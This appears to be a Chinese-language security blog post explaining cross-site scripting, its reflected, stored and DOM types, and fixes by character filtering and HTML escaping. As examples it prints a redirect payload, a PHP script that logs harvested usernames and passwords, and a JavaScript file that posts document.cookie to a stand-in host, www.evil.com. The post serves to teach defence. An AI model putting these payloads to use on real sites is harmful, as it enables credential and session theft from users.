【東網(wǎng)技術(shù)大咖帶您走進(jìn)XSS】XSS跨站腳本攻擊原理及防護(hù)
發(fā)布時(shí)間: 2017-02-24 16:54:31
跨站腳本攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS??缯灸_本攻擊(XSS)指利用網(wǎng)站漏洞從用戶那里惡意盜取信息??缯灸_本攻擊是最常見的web應(yīng)用程序安全漏洞之一,在2013年度OWASP top 10中排行第三。
XSS屬于被動(dòng)式的且用于客戶端的攻擊方式,所以容易被忽略其危害性。其原理是攻擊者向有XSS漏洞的網(wǎng)站中輸入(傳入)惡意的HTML代碼,通常是javascript編寫的惡意代碼。當(dāng)用戶瀏覽該網(wǎng)站時(shí),這段HTML代碼會自動(dòng)執(zhí)行,從而達(dá)到攻擊的目的。如,盜取用戶Cookie、破壞頁面結(jié)構(gòu)、重定向到其它網(wǎng)站等。常見存在的場景如搜索框、輸入框(用戶名密碼輸入錯(cuò)誤后,頁面上會把用戶名顯示)等。
舉一個(gè)簡單的XSS漏洞例子,通過XSS漏洞構(gòu)造惡意url盜取他人的cookie。a網(wǎng)站(192.168.1.1460:8000/admin/login.php)存在XSS漏洞:
構(gòu)造惡意url:
瀏覽該惡意鏈接就會去執(zhí)行語句,(http://192.168.1.147/xsstest/SAVE.php該地址下的SAVE.php是攻擊者搭建的存入用戶名密碼的頁面),當(dāng)用戶在該頁面下提交用戶名密碼后,其實(shí)是在SAVE.php中提交密碼。
在192.168.1.147服務(wù)器上就保存有用戶名密碼,如下圖所示,這就是XSS攻擊。
XSS攻擊主要被分成了三類,分別是反射型、存儲型和DOM型。
反射型XSS,通常也被稱為非持久性XSS,是當(dāng)前最容易出現(xiàn)的一種XSS漏洞。攻擊者編寫的惡意代碼插入U(xiǎn)RL中,當(dāng)用戶訪問這個(gè)帶有XSS代碼的URL請求時(shí),服務(wù)器端接收用戶數(shù)據(jù)后處理,然后將帶有XSS代碼的數(shù)據(jù)發(fā)送到瀏覽器,瀏覽器會解析并執(zhí)行XSS代碼,最終造成XSS漏洞。由于這個(gè)過程就像一次反射,所以被稱為反射型XSS。
存儲型XSS,通常也被稱為持久性XSS,是最危險(xiǎn)的一種跨站腳本。只要是web應(yīng)用中允許用戶存儲數(shù)據(jù)的,都有可能出現(xiàn)存儲型XSS漏洞。當(dāng)攻擊者在某個(gè)頁面提交了一段惡意代碼,被服務(wù)器接收并存儲,當(dāng)攻擊者再一次訪問這個(gè)頁面時(shí),這段XSS代碼程序讀出來響應(yīng)給瀏覽器,就會造成XSS跨站攻擊,這就是存儲型XSS。
DOM型 XSS是特殊的跨站,將用戶可控?cái)?shù)據(jù)通過JavaScript和DOM技術(shù)輸出到HTML中,利用方式通常與反射型XSS類似??蛻舳说哪_本程序可以通過DOM動(dòng)態(tài)地檢查和修改頁面內(nèi)容,它不依賴于提交數(shù)據(jù)到服務(wù)器端,而從客戶端獲得DOM中的數(shù)據(jù)在本地執(zhí)行,如果DOM中的數(shù)據(jù)沒有經(jīng)過嚴(yán)格確認(rèn),就會產(chǎn)生DOM型 XSS漏洞。
本期我們主要來介紹下反射型XSS。
反射型XSS攻擊的常見思路:
接下來,我們介紹幾種比較常見的XSS攻擊。
第一種,攻擊者常常利用XSS漏洞進(jìn)行釣魚攻擊。
(1)XSS重定向釣魚,這種釣魚方式是把當(dāng)前頁面重定向到一個(gè)釣魚網(wǎng)站上。假如www.bug.com為漏洞網(wǎng)站,網(wǎng)站www.evil.com為一個(gè)完全仿冒www.bug.com的網(wǎng)站,攻擊者利用XSS漏洞將訪問的用戶跳轉(zhuǎn)到冒牌的網(wǎng)站,從而進(jìn)行釣魚等詐騙活動(dòng)。
假設(shè)www.bug.com上有一處XSS:
http://www.bug.com/index.php?search=【Expliot】
那么,Exploit如下:
http://www.bug.com/index.php?search='><script>document.location.href="http://www.evil.com"</script>
這樣便會讓用戶從當(dāng)前訪問的網(wǎng)站跳轉(zhuǎn)到一個(gè)邪惡的釣魚網(wǎng)站。
(2)XSS 跨框架釣魚,這種方式是通過在HTML下的
這樣便會使得邪惡的頁面覆蓋在正常的頁面上,顯示的url還是正常的url,從而進(jìn)行釣魚等詐騙活動(dòng)。
(3)修改鏈接屬性攻擊,這是利用XSS漏洞,將正常頁面中的某個(gè)鏈接修改成邪惡的網(wǎng)站鏈接,當(dāng)用戶點(diǎn)擊的時(shí)候,就會跳轉(zhuǎn)到該邪惡的頁面。
假設(shè)www.bug.com上有一處XSS:
http://www.bug.com/index.php?search=【Expliot】
那么,Exploit如下:
http://www.bug.com/index.php?search='>
這樣一來,當(dāng)用戶點(diǎn)擊了被修改的鏈接之后,就會跳轉(zhuǎn)到該邪惡的頁面,進(jìn)行詐騙等行為。
(4)修改表單提交對象,最常見的就是在用戶的登錄頁面,攻擊者修改了用戶數(shù)據(jù)提交的對象,當(dāng)用戶點(diǎn)擊登陸時(shí),用戶的賬戶密碼等信息就會發(fā)送到攻擊者設(shè)置的對象那邊。
攻擊者精心編寫了一個(gè)在用戶登陸后獲取用戶名和密碼的腳本SAVE.php
header("Content-type:text/html;charset=gb2312");
?>
$myfile = fopen("cookies.txt", "a") or die("Unable to open file!");
$username =$_REQUEST["username"];
$password =$_REQUEST["password"];
fwrite($myfile, "用戶名:".$username);
fwrite($myfile, "\r\n");
fwrite($myfile, "密碼:".$password);
fwrite($myfile, "\r\n");
fclose($myfile);
?>
假設(shè)www.bug.com上有一處XSS:
http://www.bug.com/index.php?search=【Expliot】
那么,Exploit如下:
這樣一來,當(dāng)用戶點(diǎn)擊登陸時(shí),用戶的賬戶密碼等信息就會發(fā)送到攻擊者設(shè)置的對象那邊。
第二種,利用XSS漏洞盜取cookie。
攻擊者精心編寫了一個(gè)盜取cookie的腳本SAVE.php,和用來請求該腳本的steal.js文件
function loadXMLDoc()
{
var xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST","http://www.evil.com/SAVE.PHP",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("T1="+document.cookie);
}
loadXMLDoc();
假設(shè)www.bug.com上有一處XSS:
http://www.bug.com/index.php?search=【Expliot】
那么,Exploit如下:
http://www.bug.com/index.php?search='><script src="http://www.evil.com/steal.js">
這樣一來,當(dāng)用戶訪問時(shí),用戶的cookie信息就會自動(dòng)發(fā)送到攻擊者的手里。
從以上敘述可以得出結(jié)論,XSS跨站漏洞最終形成的原因是沒有對輸入輸出進(jìn)行嚴(yán)格的過濾,使得攻擊者可以在頁面執(zhí)行javascript等客戶端腳本。這也就意味著只要將敏感的字符過濾掉,就可以實(shí)現(xiàn)對XSS跨站漏洞的修補(bǔ)。以下介紹兩種修補(bǔ)方案。
方案一:對特殊字符進(jìn)行過濾
在HTML中,<、>、"、’&都比較有特殊的意義,因?yàn)镠TML的標(biāo)簽、屬性就是由這幾個(gè)符號組成的,如果直接輸出這幾個(gè)特殊字符,就極有可能破壞整個(gè)HTML文檔的結(jié)構(gòu)。所以,一般情況下,XSS將這些進(jìn)行過濾。
方案二:對用戶可控?cái)?shù)據(jù)html escape 轉(zhuǎn)義
如PHP中提供了htmlspecialshar()、htmlentities()函數(shù)可以把一些預(yù)定義的字符轉(zhuǎn)換為HTML實(shí)體。
預(yù)定義的字符如下:
&(和號)成為&
" (雙引號)成為"
‘ (單引號)成為'
<(小于)成為<
>(大于)成為>
以上兩個(gè)方案可根據(jù)具體場景選擇使用。
對于web服務(wù)器的所有者來說,雖然最新版的瀏覽器對XSS攻擊進(jìn)行了過濾能在一定程度上保護(hù)用戶不受XSS攻擊,但舊版的瀏覽器上沒有該功能,因此及時(shí)發(fā)現(xiàn)自身應(yīng)用存在的XSS漏洞,并修補(bǔ)。避免對用戶造成危害是很有必要的??偟膩碚f,對于XSS跨站腳本攻擊漏洞,其攻擊手段雖然層出不窮,但是都可以徹底的解決。最重要的是能夠真正掌控 "輸入與輸出"。